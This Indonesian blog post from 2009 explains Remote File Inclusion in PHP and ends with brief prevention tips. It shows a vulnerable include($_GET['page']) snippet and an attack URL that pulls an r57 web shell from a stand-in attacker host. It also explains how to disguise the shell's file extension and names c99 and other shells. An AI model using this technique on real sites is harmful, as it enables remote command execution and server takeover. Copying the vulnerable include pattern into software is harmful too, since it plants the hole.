Friday, October 23, 2009

Remote File Inclusion Vulnerability

Apa yg dimaksud RFI ?

Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini.

Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi, berikut adalah contoh sederhana dari kesalahan coding yg memungkinkan terjadi’a RFI vuln :

http://www.target.com/index.php?page=blog.php
http://www.target.com/index.php?page=contact.php
http://www.target.com/index.php?page=gallery.php

coba kita lihat code pada index.php

$page = $_GET['page'];
include($page);
?>

pada baris ke 2, $page di konfigurasi menuju pada $_GET['page']
ini arti’a ketika kita menuju http://www.target.com/index.php?page=blog.php
$page mengekskusi file blog.php

apa yg terjadi? seperti yg gw bilang bahwa fungsi include akan mengeksekusi remote file, dengan catatan file tidak harus dalam satu server yg sama

coba kita ubah “blog.php” ke “http://www.google.com”
http://www.target.com/index.php?page=http://www.google.com
lo akan melihat homepage google menggantikan page blog.php

Apa inti’a dari ini semua ?

kita dapat mengeksekusi menggunakan evil scripts, atau mungkin yg lo pernah denger dengan apa yg di sebut “shell” (r57,c99,g00nshell,peanut,morgan)

script² yg terdapat pada evil script ini mempunyai fungsi melihat directory pada server yg telah terserang, menghapus file, melihat file, membiarkan lo menjalankan perintah² pada sistem.

Bagaimana cara menggunakan evil script ?

http://www.target.com/index.php?page=http://www.penyerang.com/r57.txt?

kita harus menggunakan shell dalam bentuk format .txt, .jpg, .pdf, karena apabila kita menggunakan .php maka script hanya akan mengeksekusi http://www.penyerang.com,

tanda tanya “?” pada akhir url adalah menyatakan akhir dari statement, atau dengan kata lain bahwa r57.txt adalah url terakhir, dan apabila di belakang r57.txt ada url tambahan maka akan di abaikan atau tidak di eksekusi. (ingat kita sedang membicarakan RFI bug)

Apakah berbahaya ?

File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya (Very Dangerous) karena injeksi memperkenankan pelaku’a untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelaku’a mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root.

Sistem operasi apa yg kebal terhadap RFI ?

“NO SYSTEMS IS SAFE!”
Tidak ada sistem operasi yang aman dari serangan injeksi selama mereka menggunakan server side scripting yang dapat dieksploitasi, tak peduli apakah itu Microsoft Windows, LINUX, FreeBSD, Solaris, Darwin OS, dan lain²a.

Pencegahan

1. Periksa kesalahan coding file include apabila lo menggunakan 3rd party pada sebuah cms

2. setting chmod lo agar file lo tidak dapat di tulis ulang dan di eksekusi oleh orang dengan account di bawah owner

3. setting safe mode menjadi on

4. jangan pernah malas untuk melihat log

5. buat selalu backup dari situs lo <- cara terakhir/pasrah

No comments:

Post a Comment

try to make something then you never be lost

+++

Share |

"make something then You never be lost"

wibiya widget